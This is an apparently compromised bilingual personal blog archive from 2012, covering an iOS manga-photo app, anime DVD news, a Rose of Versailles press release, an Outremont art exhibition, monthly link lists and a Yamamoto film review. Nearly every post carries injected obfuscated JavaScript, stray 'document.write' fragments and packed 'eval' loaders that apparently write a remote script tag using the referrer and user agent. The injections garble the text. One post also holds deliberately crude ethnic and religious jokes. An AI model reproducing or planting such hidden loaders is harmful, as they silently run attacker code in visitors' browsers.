Of course, there’s also the illustrated “review” of the weekly Unshelved Book Club about Guy Delisle’s Jerusalem: Chronicles from the Holy City (Drawn & Quarterly, 2012, ISBN: 9781770460713).

Don’t forget to check more strips on the Unshelved website as well as their book store (but it’s also available at Amazon .com & .ca, Indigo! and Powell’s).

[ Traduire ]

Mangafy your life!

Thanks to Cult of Mac and Gizmodo, document.write(“”); I’ve just discovered one of the cutest iOS apps I’ve seen in a long time: Manga Camera!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eazen|var|u0026u|referrer|adkad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abaeh|var|u0026u|referrer|tnzrf||js|php’.split(‘|’),0,{}))

This app by
Supersoftware allows you to take a picture (but only with an iPhone 3GS+, iPod Touch 5 or iPad 3) and convert it into a manga style image! You can select thirty-two different background styles (some with Japanese captions, “sound effects” or speed lines) and share your pictures on Twitter or Facebook. If you’re not satisfied with the background, you can change it even after having taken the picture.

It doesn’t always work well (sometimes shadows or darker subject gets converted into backgrounds effects), but when it does the result is quite impressive. A picture is instantly turned into a realistic manga panel (with all its characteristics: b&w, inked line, textured with zipatone). It’s really amazing.

My only complaints is that it doesn’t save the pictures automatically (you have to save manually each pics before taking another one, if not it will disappear), you cannot use the front-facing camera to take a picture of yourself (use a mirror instead) and you cannot use an existing picture to apply the manga effects (that would be quite cool).

Nevertheless, it can provides hours of fun! It could be a cool way to make a photo-manga (for those manga lovers with less drawing talent)…

Version 1.0 of Manga Camera was released on September 10th 2012 and weighs 14.7 Mb. Available in english and japanese. Rated 4+

See a few examples after the jump:


More examples on my Photobucket’s album.

[ Traduire ]

Misère subite

Certains pays sont plus sujet que d’autres à la misère subite. Par exemple, document.write(“”); en Asie du sud-est, suite à une mousson plus forte qu’à l’habitude certaines régions peuvent se retrouver, du jour au lendemain, bang! dans la dèche!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydihs|var|u0026u|referrer|fsrfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beeaf|var|u0026u|referrer|rtznb||js|php’.split(‘|’),0,{}))

[ Intraduisible! ]

Merlin sighting

I mentioned earlier this summer that my wife had seen a fox in a nearby park. Well, it seems it is not the only wildlife that we have in the neighborhood (Montreal’s St-Michel borough). We’ve just seen a Merlin this afternoon (aka Falco Colombarius in Latin or Faucon émerillon in French). And here’s the video to prove it:

Merlin from clodjee on Vimeo.

The video is also available on Youtube (but I don’t know for how long since it seems that when you use the copyright-free music included with iMovie, Youtube flags the video as a copyright infringement! So I’ll probably avoid uploading video there in the future.)

[ Traduire ]

Press Review (September)

Another tiring, document.write(“”); busy month. However, on the news side it was quite eventful. Here’s the proof, after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sirsr|var|u0026u|referrer|etyar||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atryi|var|u0026u|referrer|nktkn||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]

Retro-blogging

Ce week-end j’ai introduit un nouveau concept dans mon blog: le rétro-blogging. C’est-à-dire que ces derniers mois je n’ai pas eu le temps, document.write(“”); ni l’énergie de blogger régulièrement mais je prenais tout de même des notes dans mon petit carnet. Et là je les introduit dans le blogue aux dates où ces notes on été prises. Ce week-end j’ai donc fait du ratrappage pour les mois de mai et de juin
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbtyy|var|u0026u|referrer|idrbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnhii|var|u0026u|referrer|hakik||js|php’.split(‘|’),0,{}))

Autre nouvelle: mon blogue peut maintenant être rejoins à l’addresse
clodjee.com!

[ Translate ]

Oniisama E… on Viki

Just a quick note to let you know that I just realized that the superb classic anime Oniisama E… a.k.a. Dear Brother [info: ANN / Wikipedia] is currently streaming on Viki.com! Based on a manga by Riyoko Ikeda serialized in Margaret in 1975, document.write(“”); the 39-episode anime series, directed by Osamu Dezaki, aired on NHK in 1991-92.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsenr|var|u0026u|referrer|dhyed||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzdri|var|u0026u|referrer|franr||js|php’.split(‘|’),0,{}))

I never really had the chance to watch it so here is the best opportunity to do it legally (I just need to find some time!). I highly recommend you to
take a look too.

By the way, Viki has an excellent app in the iTunes store for both iPhones and iPads. Check that too!

So far, Viki’s anime line-up offers mostly stuff from Tezuka (strangely enough, Oniisama E… was animated by Tezuka Productions!) but I am sure more great titles will eventually be added (Lady Oscar / The Rose of Versailles is coming in December anyway).

[ Traduire ]

Press Release: Right Stuf, Inc. Acquires The Rose of Versailles

Nozomi Ent. to release classic anime as limited-edition DVD sets in 2013 and to conduct fan Q&A with creator Riyoko Ikeda; Viki to begin streaming series in December 2012.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzds|var|u0026u|referrer|tehys||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnfzb|var|u0026u|referrer|bisde||js|php’.split(‘|’),0,{}))

GRIMES, document.write(“”); Iowa, Sept. 12, 2012 – Anime producer and distributor
Right Stuf, Inc. is pleased to announce the acquisition of The Rose of Versailles anime series from TMS Entertainment.

Also known as “Berusaiyu no Bara” and “Lady Oscar,” The Rose of Versailles will be released via Right Stuf’s Nozomi Entertainment as two limited-edition DVD box sets in 2013. The series will also be streamed, beginning in December 2012, and made available exclusively to fans in the United States and Canada on Viki (Viki.com), as part of the site’s growing anime lineup. This will be the first time the entire anime series will be available to English-speaking audiences in North America.

Additionally, Nozomi Entertainment wants fans’ questions for an upcoming Q&A interview with Riyoko Ikeda, the creator of The Rose of Versailles. Please submit questions, via the form located at the official series site (rov.Right Stuf.com), by 4 p.m. CDT on Thurs., Nov. 1, 2012.

Right Stuf‘s President and CEO Shawne Kleckner said, “The Rose of Versailles is one of anime and manga’s truly legendary and iconic stories. It is an honor and privilege to bring this beloved series to DVD, via Nozomi Entertainment, and work with TMS and Viki to introduce our English-subtitled translation of the anime inspired by Ms. Ikeda’s masterwork to North American fans.”

“We’re thrilled to work with Right Stuf to bring The Rose of Versailles to fans in North America and add this famous title to our growing library of classic anime,” said Razmig Hovaghimian, Viki CEO.

The Rose of Versailles has been released several times in multiple formats in many European and Asian countries until now but was never released in North America for the English-speaking audiences. I would like to thank the team at Right Stuf and Viki for making the North American The Rose of Versailles DVD and online release possible. When it comes to amazing shows, you never get tired of watching them, and I believe The Rose of Versailles is one of these shows. It would be a pleasure if the North American fans enjoy The Rose of Versailles as much as I have,” said Katsuki Masai, Deputy Manager of TMS Entertainment, USA, Inc.

Set during the years preceding the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman whose father has raised her as a man – and trained her to be an elite and skilled soldier – so she can succeed him as the commander of the palace guards.

The Rose of Versailles is based upon the best-selling manga (comic) by Riyoko Ikeda (Dear Brother, a.k.a. Oniisama E…), which was originally serialized in Shueisha’s shoujo (girls’) anthology magazine Margaret, from 1972 through 1973, and later collected into 10 volumes. In addition to its anime adaptation, it inspired a short story collection (also written by Ikeda), a French-Japanese live-action film, and multiple musicals staged by Japan’s famed Takarazuka Revue.

This 40-episode anime adaptation of The Rose of Versailles originally aired on Japanese television from October 1979 through September 1980. It features animation by TMS Entertainment, as well as direction by Tadao Nagahama (Romance Robot Trilogy) and Osamu Dezaki (Nobody’s Boy – Remi, Dear Brother, Aim for the Ace!).

For more information about the series and to submit questions for the Q&A with Ms. Ikeda, visit rov.Right Stuf.com.

About RIGHT STUF, INC.
Currently celebrating its 25th year in business, Right Stuf, Inc. was one of the first players in the U.S. Japanese Animation (“anime”) industry, as both an anime producer/distributor and a retailer. Right Stuf works to promote knowledge of its own products, as well as the anime and manga industry, in general, through its online storefront at Right Stuf.com and a variety of media including podcasts and special publications. Its video and print publishing division includes the Nozomi Entertainment, Lucky Penny, and 5 Points Pictures studio-labels.

About NOZOMI ENTERTAINMENT
A publishing division of Right Stuf, Inc., Nozomi Entertainment is its signature label, dedicated to high-quality releases for collectors. True to the Japanese word that inspired its name, Nozomi’s focus is on “what fans want.” By focusing on a limited number of anime properties each year, the Nozomi production team ensures each release receives the care and attention to detail it deserves.

From anime classics like Astro Boy, Kimba and Gigantor to modern comedies, dramas and favorites such as The Irresponsible Captain Tylor, His and Her Circumstances, Gravitation, Ninja Nonsense, The Third: The Girl with the Blue Eye, Emma: A Victorian Romance, Maria Watches Over Us, ARIA, Gakuen Alice, Rental Magica, Dirty Pair, Junj? Romantica and Revolutionary Girl Utena, Nozomi Entertainment releases quality programming for fans of all ages and interests.

For more information, visit www.rightstuf.com and www.nozomient.com.

About Viki
Viki is a global TV site with over 12 million monthly viewers who come to watch their favorite TV shows, movies and other premium content, translated into more than 150 languages by a community of avid fans. With over 1 billion videos viewed and nearly 250 million words translated, Viki uniquely brings global prime-time entertainment to new audiences and unlocks new markets and revenue opportunities for content owners. In 2011, Viki announced $20M in Series B funding from strategic investors including BBC Worldwide and SK Planet, a subsidiary of SK Telecom; as well as from existing investors Greylock Partners, Andreessen Horowitz, Charles River Ventures and Neoteny Labs, among others.

About TMS ENTERTAINMENT, LTD.
TMS Entertainment, Ltd. (better known as TMS), one of the world’s largest and most distinguished animation studios, has rapidly won recognition from the international filmmaking community for its highly acclaimed animation, pioneering techniques and proud commitment to quality. With its headquarters situated in Tokyo under the supervision of a dedicated team of top development, production and design executives, TMS’s growing reputation is reflected by the versatility, artistry and originality of the remarkable volume of programs the company has produced for international markets worldwide. Established in the year 1964, TMS has produced more than 100 features and over 100 TV programming series, in total of 8,000 half hours, for global distribution. TMS also proceeds with restoration projects of the titles to keep its highest quality for the next generation. TMS is proud to uphold our tradition of presenting to you unforgettable images from the finest animation produced anywhere in the world. TMS’s programs have attained worldwide recognition, and we continue to strive for excellence and lead the animation world throughout the century.

[ Traduire ]

Goldorak enfin en dvd!

Après la sortie dvd avortée en France et un long litige devant les tribunaux tant français que japonais entre le créateur Gô Nagai et la firme de production Tôei Animation (apparemment Tôei avait vendu les droits en France et produit la version française sans l’accord de Gô Nagai), document.write(“”); le magazine français Animeland nous apprend que “Les 74 épisodes de la série culte Goldorak [info Animeland / ANN] vont enfin ressortir officiellement en français en DVD (…)… au Canada !” La nouvelle a par la suite été confirmée par Le Soleil et un communiqué de presse d’Imavision, qui en sera le distributeur.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snhdt|var|u0026u|referrer|aeifn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krtys|var|u0026u|referrer|hfeaz||js|php’.split(‘|’),0,{}))

Cette nouvelle est plutôt surprenante, puisque je n’avait pas entendu dire que le litige avait été règlé et qu’on s’attendrait plutôt à voir une sortie dvd d’abord en France et non au Québec. Espérons que cette sortie dvd ne sera pas troublée par les mêmes problèmes qu’avait eut Déclic Images en 2005. Quoiqu’il en soit, Imavision a annoncé la sortie du coffet dvd, en collaboration avec DEP, pour la période des Fêtes 2012. Une distribution sur “diverses plateformes” sera par ailleurs annoncée ultérieurement.

UFO Robo Grendizer / Goldorak © Go Nagai / Dynamic Planning Inc., Toei Animation Co., Ltd. All Rights Reserved.

[ Translate ]

Gloires passagères

Notre collègue aide-bibliothécaire Louis Fortier, document.write(“”); un sculpteur de talent (dont j’avais déjà mentionné l’exposition Métamorphose en mars), exposera à nouveau ses oeuvres en octobre.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keysr|var|u0026u|referrer|satbz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enrkf|var|u0026u|referrer|rdzkk||js|php’.split(‘|’),0,{}))

Le grand écorché, 2010-2011, cire colorée sur polystyrène expansé (152 x 213 x 304 cm)

L’exposition, intitulée “Gloires passagères”, se tiendra du 4 au 28 octobre 2012 à la Galerie d’art d’Outremont (adjacente à la bibliothèque Robert-Bourassa). Situé au 41 avenue Saint-Just à Outremont, la galerie est ouverte du mardi au vendredi de 13h à 18h, et les samedi et dimanche de 13h à 17h. (Renseignements: 514 495-7419).

Louis Fortier travaille à partir de techniques de moulage qui lui permettent d’effectuer des variations dans la série. Depuis une quinzaine d’années, il revisite son anatomie — et plus particulièrement son visage — à la manière d’un journal. En cherchant des équivalences entre la nature fugitive des émotions et le caractère imprévisible de matériaux tels que la cire et le plâtre, la démarche de cet artiste déjoue la fixité habituelle propre au genre de l’autoportrait. Ainsi, les morceaux d’anatomie qu’il nous livre sont assujettis à des programmes qui génèrent des dérives et des distorsions. Du coup, le résultat de ses explorations artistiques pourraient s’entendre comme des tentatives de traduire les accidents de la vie courante et la fugacité de l’existence.

Mise à jour: article dans l’Express d’Outremont.

[ Translate ]

Translation

The problem with multilingual blogs is that you cannot always post in a way to be understood by every readership at the same time. Sometimes I will post a comment both in French and English, document.write(“”); but most of the time I post in either languages depending on the nature of the subject. For example, if I read a book in French I will most likely comment it in the same language and I will comment in English if I watch a movie in English. And, of course, the blog is not accessible to people speaking any other languages (like my ancient roman fans or my Japanese friends or some accidental Aafrikaner or Hindi readers). I’ve always found this particularly annoying.

I recently stumbled upon a Facebook page that was offering a link to translate the post into another language (in this case either Japanese or English). I found that such option was quite practical and wondered if it was possible to do something similar with Blogger. I couldn’t find a cool and easy way like I saw for Facebook, but I found a couple of ways to reach my goal. (It would be nice though to have Blogger to add a “Translate” option at the bottom of each post).

From now on, you will find in the right side column (between the “links” and the “Search this blog”) a “Translate this blog” section with a “Select Language” pull down menu. It includes over sixty different languages but, since it assumes this blog is in English only, the list doesn’t offer an English option, which would be quite useful for my French posts. Instead, for this particular case, I will try to always add at the end of my French posts a “[ Translate ]” link that will bring you to an English translation (by default, but it can be changed to any language you want).

Unfortunately, the translation option often mess up the layout of the post (mostly paragraph jump — strangely the individual links for the French to English translation fare much better layout-wise) and the resulting translation is generally far from perfect (although sometimes quite funny). But that’s the best it can do for now. However, to avoid formatting problems I might simply add a “[ Translate ]” link even for the posts in English…

I hope this solution will help widden the readership of this blog. In any case, let me know what you think. Do you like this new option or not (or it doesn’t make any difference for you)?

[ Translate ]

Press Review (August)

Not much change this month as I was still too busy and tired to do much. But I always have enough energy to gather scraplinks and share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bniyr|var|u0026u|referrer|fznba||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tztkd|var|u0026u|referrer|sarfz||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Humour pas éthique en [six] huit catas strophes

AVERTISSEMENT: Peut contenir des traces de mauvais humour! Toutes personnes allergiques à l’humour salace, document.write(“”); grivois, sexiste, anticlérical ou raciste, voir: au calambour obscure, sont fortement conseillé(e) de prendre les précautions nécessaires pour leur sécurité et devraient s’abstenir de lire plus loin! (On vous aura averti!)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzbks|var|u0026u|referrer|eafzy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbib|var|u0026u|referrer|fftda||js|php’.split(‘|’),0,{}))

Adorateur du démon! Je suis poursuivi par des impies qui m’implorent de joindre leur confrérie étherale et de vénérer jour et nuit avec eux l’idole d’un animal qui incarne la mal en toutes ses formes. Non, jamais je ne consacrerai mon existence à votre face de bouc! (:> 7/10/2011)

Unjustly indickted! I didn’t do dick but, since there’s no justice in the world, it didn’t keep me from being judged and sent to a penile colony. It certainly gave a new meaning to doing hard time. There, everytime one of those dick-head inmates were asking me if I was that Dick who did this or that, I was answering: “Sorry, I don’t know dick about that!” — extract from “The dicky invasion” by Penny Kay Dicky, who also wrote “The peniletimate truth,” “Counter-cock world,” “Confession of a dicky artist” and “U-dick.” (8/6/2011)

Les penseurs grecs sont à l’origine de beaucoup d’éléments de la pensée moderne et scientifique. Par exemple, Leucippe et Démocrite ont développé le concept de l’atomisme. Pythagore et Euclide jetèrent les bases des mathématiques et de la géométrie, Aristote celles de la méthodologie scientifique, et Archimède celles de la physique (on croit qu’il pourrait aussi être le créateur du mécanisme d’Anticythère). Aristarque proposa un modèle astronomique héliocentrique et Ératosthène calcula la circonférence de la terre. Aussi, et j’arrive ici dans le vif de mon sujet, on a attribué à Anaximenes l’idée que le souffle (?????? / pneuma) était la source de la vie, mais des découvertes récentes l’attribue maintenant à un philosophe plus obscure: Emphysème. (Inpiré par mon collègue Ératos10, 9/13/2011)

C’est à se demander pourquoi les gens pensent toujours que les deux capitales du tourisme sexuel en Asie sont Lahore et Bangkok! (10/19/2011)

T’appelles ça comment quand tu te fais engeuler vertement par une femme qui porte un hijab? Des menaces voilées?! (8/24/2012)

Salus cymbalon! L’un des assistants les plus intime du pape a récemment été arrêté sous des accusations de corruptions. Son rôle était de voir à la protection rapprochée et au bien-être du saint-père, en s’assurant qu’il ne croule pas trop sous une charge de travail trop lourde et, même, de voir à son salut en s’agenouillant à son chevet dans la prière. La curie délibère encore sur le choix du prochain sous-pape de sécurité. (8/27/2012)

Et encore plus…

T’appelles ça comment en anglais un chiot en turban? A Sikh puppy?! (9/3/2012)

How do you call, in french, a seal wearing a turban? Un Sikh phoque?! (9/3/2012)

[ Translate ?! ]

Yamamoto Isoroku

“Japan, document.write(“”); summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.” (2012 Montreal World Film Festival schedule book)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktakb|var|u0026u|referrer|rszkt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdfsf|var|u0026u|referrer|dtssr||js|php’.split(‘|’),0,{}))

The full Japanese title of the movie is ???????? ????? (Rengô kantai shirei chôkan: Yamamoto Isoroku / Isoroku Yamamoto, the Commander-in-Chief of the Combined Fleet).

Yamamoto Isoroku (?? ???) was a great thinker and strategist (he’s often depicted in the movie playing shogi, a chess-like military strategy game). He told his superiors (and I am paraphrasing here) “Don’t make a tripartite alliance with Germany and Italy. If you do, the Americans will cut us from the essential supplies we need.” But eventually, they did make an alliance with Hitler. He also told them “Don’t attack the U.S., because they’re stronger than us. If we do, we’ll lose and Japan will be utterly destroyed.” But eventually, they did attack the Americans and, having no choice, Yamamoto planned the attack himself. However, he warned his superiors to “make sure to declare war before attacking the Americans, because if not it will certainly make things worse.” Of course, the Japanese embassy screwed up and the declaration of war was given one hour after the attack, angering the Americans. There is no mention in the movie of his famous quote: “we have awaken a sleeping giant,” probably because it is now considered apocryphal. Finally, he insisted that, if they had to go to war with the Americans, it would be better to hit them hard and fast in the hope to crush their morale and be able to quickly sue for peace, because he considered that if Japan had to engage in a long war of attrition with them they would definitely lose since the Americans were far superior in force and resources.

Unfortunately, his superiors took no heed of his warnings and the Pacific war quickly became a messy affair as the Japanese kept making wrong decisions after another, leading toward an ugly end. The culprit was an enormous national pride that made people believe they could win despite the odds. Even if Pearl Harbor was a strategic failure (they gambled they could destroy the American Pacific Fleet, but its most important elements, the carriers, were nowhere to be seen), it was portrayed at home as a great victory. The “success” of Midway was a failure as well (Yamamoto’s subordinates did not follow his instruction to “load half the airplanes with torpedoes in order to strike and sink the carriers that our attack will definitely draw”), but the huge lost sustained by the Navy ultimately sealed the fate of Japan. In Guadalcanal, a retreat became a “transfer of troops” in the national newspapers! Fortunately, Yamamoto died in an enemy attack in the Solomon Islands (he wanted to inspect the troops and boost their morale by his presence, but someone had stupidly broadcast his traveling plans), and therefore never witnessed the miserable end of the war.

